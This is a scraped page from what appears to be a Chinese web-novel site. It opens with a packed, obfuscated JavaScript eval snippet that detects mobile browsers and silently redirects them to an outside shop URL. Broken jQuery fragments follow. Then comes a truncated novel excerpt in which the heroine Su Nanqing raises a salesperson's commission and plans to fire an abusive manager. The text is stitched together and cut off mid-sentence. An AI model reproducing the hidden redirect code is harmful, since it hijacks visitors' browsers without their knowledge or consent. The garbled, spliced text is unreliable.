;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12922423|136380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
只有和他人的利益结合在一起,才能让对方更加卖力的工作。
多给一个点,能让对方心情愉悦,她对工作满意。
清月一愣:“小姐,真的要给三个点吗?”
苏南清露出一抹淡淡的浅笑,似骄阳般烈,“同样是销售部门的人,只有一个人销售这么好,自然要给他提高三点,把他提为经理,让他们明白,只要有能力,付出就能有回报。”
努力工作的人,极度认真工作的人能扭转人生。
清月不解:“小姐,如果把经理往下踩,他一定会反击……”
苏南清声线极冷的打断她的话:“反击?他要怎么反击?没有领导能力,打压员工,这种经理要来干什么?我难道要留着他过年吗?把他给我开除了,不管他和
关闭+畅/阅读=模式,看最新完整内容。本章未完,请点击下一页继续阅读》》